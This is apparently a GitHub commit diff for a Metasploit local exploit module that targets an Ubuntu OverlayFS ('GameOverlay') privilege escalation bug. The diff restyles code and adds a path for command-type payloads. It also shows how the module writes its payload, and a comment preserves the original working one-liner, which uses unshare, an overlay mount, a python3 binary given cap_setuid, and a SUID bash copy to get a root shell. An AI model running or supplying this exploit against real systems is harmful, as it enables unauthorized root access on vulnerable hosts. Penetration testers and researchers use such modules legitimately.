You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: modules/exploits/linux/local/gameoverlay_privesc.rb
+15-13Lines changed: 15 additions & 13 deletions
Original file line number
Diff line number
Diff line change
@@ -112,15 +112,15 @@ def check
112
112
end
113
113
end
114
114
115
-
returnCheckCode::Safe("Target does not appear to be running a vunerable Ubuntu Distro or Kernel")
115
+
returnCheckCode::Safe('Target does not appear to be running a vunerable Ubuntu Distro or Kernel')
116
116
end
117
117
118
118
defexploit
119
-
pay_file=datastore['PayloadFilename']
119
+
datastore['PayloadFilename']
120
120
pay_dir=datastore['WritableDir']
121
-
pay_dir += "/"unlesspay_dir.ends_with?"/"
121
+
pay_dir += '/'unlesspay_dir.ends_with?'/'
122
122
pay_dir += Rex::Text.rand_text_alpha10
123
-
pay_dir += "/"unlesspay_dir.ends_with?"/"
123
+
pay_dir += '/'unlesspay_dir.ends_with?'/'
124
124
print_status"Creating directory to store payload: #{pay_dir}"
125
125
mkdirpay_dir
126
126
pay_dir=datastore['WritableDir']
@@ -141,20 +141,22 @@ def exploit
141
141
142
142
directories.eachdo |dir|
143
143
print_status"Creating directory #{dir}"
144
-
mkdir"#{dir}"
144
+
mkdirdir.to_s
145
145
end
146
146
147
-
pay="#{pay_dir}#{pay_file}"
148
-
149
-
print_status"Writing payload: #{pay}"
150
-
151
-
write_filepay,generate_payload.generate
152
-
153
-
print_status'Starting new namespace, and running exploit...'
147
+
iftarget.arch.first == ARCH_CMD
148
+
payload_cmd="\\\"#{payload.encoded}\\\""
149
+
else
150
+
pay_file=datastore['PayloadFilename']
151
+
payload_path="#{pay_dir}#{pay_file}"
152
+
print_status"Writing payload: #{payload_path}"
153
+
write_file(payload_path,generate_payload_exe)
154
+
payload_cmd=payload_path
155
+
end
154
156
155
157
# g1vi original
156
158
# "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'"
0 commit comments